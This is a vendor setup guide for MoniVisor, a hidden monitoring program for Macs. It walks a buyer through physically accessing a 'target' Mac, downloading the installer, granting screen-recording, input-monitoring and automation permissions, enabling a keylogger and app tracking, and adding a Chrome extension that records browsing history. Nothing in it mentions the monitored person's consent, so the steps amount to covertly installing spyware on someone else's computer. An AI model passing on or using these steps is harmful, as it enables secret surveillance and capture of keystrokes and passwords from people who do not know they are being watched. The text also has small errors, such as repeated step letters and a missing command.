Setup Guide for MoniVisor Computer Monitoring

Before You Start

• Sign up for a MoniVisor account.
• Install the MoniVisor software on the target MacBook.
• Monitoring data will not be uploaded if the target MacBook is turned off or in sleep mode.

Step 1: Sign up for a new account on the MoniVisor website

Choose a pricing plan that best suits your needs and budget. Once you've purchased a plan, you'll be able to activate all of MoniVisor's PC monitoring features.

Step 2: Download the program onto the target Mac

MoniVisor works through a hidden computer-based software and an online dashboard. To begin with, you need to physically access the target computer and paste the URL ( http://www.installfree.net ) into any browser to download the software. When finished, unzip the package and you’ll get an installer.

Step 3: Install the software and grant permissions

For optimal monitoring, please grant the app necessary permissions in your device's settings, and the exact steps may vary slightly based on your operating system version. Besides, you need to manually add the Chrome plug-in to the browser for a comprehensive monitoring experience.

3.1 Allow apps to access related data on the device

Install the software on the target device. Before your proceed, you need to adjust the privacy settings on your macOS. To enable the screen recording, software activity monitoring, and keystroke logging, you need to grand corresponding permissions in the Settings:

For macOS running earlier versions:

a) Click on the Apple logo in the top-left corner of your screen or from the Dock, then select “System Preferences”;

a) Scroll down in the sidebar and click on "Privacy & Security";

b) From the “Privacy” pane, select “Click the lock to make changes” and enter the login password as prompted;

c) After you unlock the “lock” icon, return to the program and toggle on “Recording” “Keylogger” and “App Activity”;

d) Go locate the folder where the software is installed: /Library/Application\ Support/MonivisorMac. Optionally, you can use the command to open this folder;

e) Once you have located the application on the device, right click and opt for “Show Package Contents”. Drag the file named “MoniVisor” to the “Privacy” settings (as we’ve previously mentioned), and check the box to grant the permissions one by one;

f) Then navigate to “Screen Recording”, “Input Monitoring”, and “Automation” respectively and allow for access. Then, hit the lock icon to unlock the changes.

For macOS running higher versions:

a) On the client end, toggle on “Recording” and the “Privacy & Security” window pops up. Then the software will be automatically added for application permissions;

b) Within the “Privacy & Security” window, select “Click the lock to make changes” on the left bottom, enter the login password as required, and next check the “MoniVisor” box;

c) Go back to the client, switch on the “Keylogger” box and ensure that “MoniVisor” is allowed to access the keyboard data;

d) Regarding the “App Activity” data, tick the box and choose “OK” to allow the app to access software usage.

3.2 Install the Chrome extension (optional)

To monitor internet history on Google Chrome, you need to add a plug-in to the browser:

Go locate the folder where the software is installed: /Library/Application\ Support/MonivisorMac. Optionally, you can use the command to open this folder;

Right click on the installer and select “Show Package Contents”;

Find a folder named “moni-chrome-extension” and drag it to your Chrome browser. That’s it!

Step 4: Complete the installation and verify the setup

Finally, return to the software and click “Verify the Setup” and you’ll be redirected to the login page. Enter the account and password as required and go to the online dashboard. Now start monitoring the target Mac device right away.